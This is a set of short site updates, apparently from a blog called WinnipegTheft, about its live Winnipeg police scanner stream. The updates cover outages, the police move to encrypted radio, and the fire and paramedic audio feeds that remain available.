We are trying to reduce the amount of times the Police Scanner is getting kicked OFFLINE.  It can go offline for many reasons, but we are trying to eliminate the ways that we can control.  Such reasons could be power outages, computer or software issues, malfunctioning router or modem, cable provider, or broadcast provider.  It is very hard to determine which factor is responsible when the we going OFFLINE intermittently.  The only way to absolute determine the problem is to systematically switch out each component.  Since we began broadcasting the video display, we have been kicked OFFLINE progressively faster it  [ Read More ]

While it looks as though the police have stopped using encrypted communication.  So the police are back on the radio scanner once again!  For how long?  I don't know. Kreval

For those who have asked about the Fire and Paramedic stream.  The scanner will still stream the Fire Department and the Paramedic audio feed from the scanner.  Only the police will be missing.  So for those who want to listen to these streams they will continue to be broadcasted.  If the stream goes down please use the contact form to let me know it is down.

WinnipegTheft has been streaming a live feed of the Winnipeg Police Scanner to it's listeners for approximately 5 years.  As of yesterday the audio stream came to an end.  The Winnipeg Police have switched their radios over to encrypted radio communications.  The police will not be heard on the scanner anymore.  It's not possible to listen to encrypted radio signals.  For now we can still listen to the Fire Department and the Ambulance service.  Other radio feeds (cities) may be added in the future.  Stay tuned for updates.
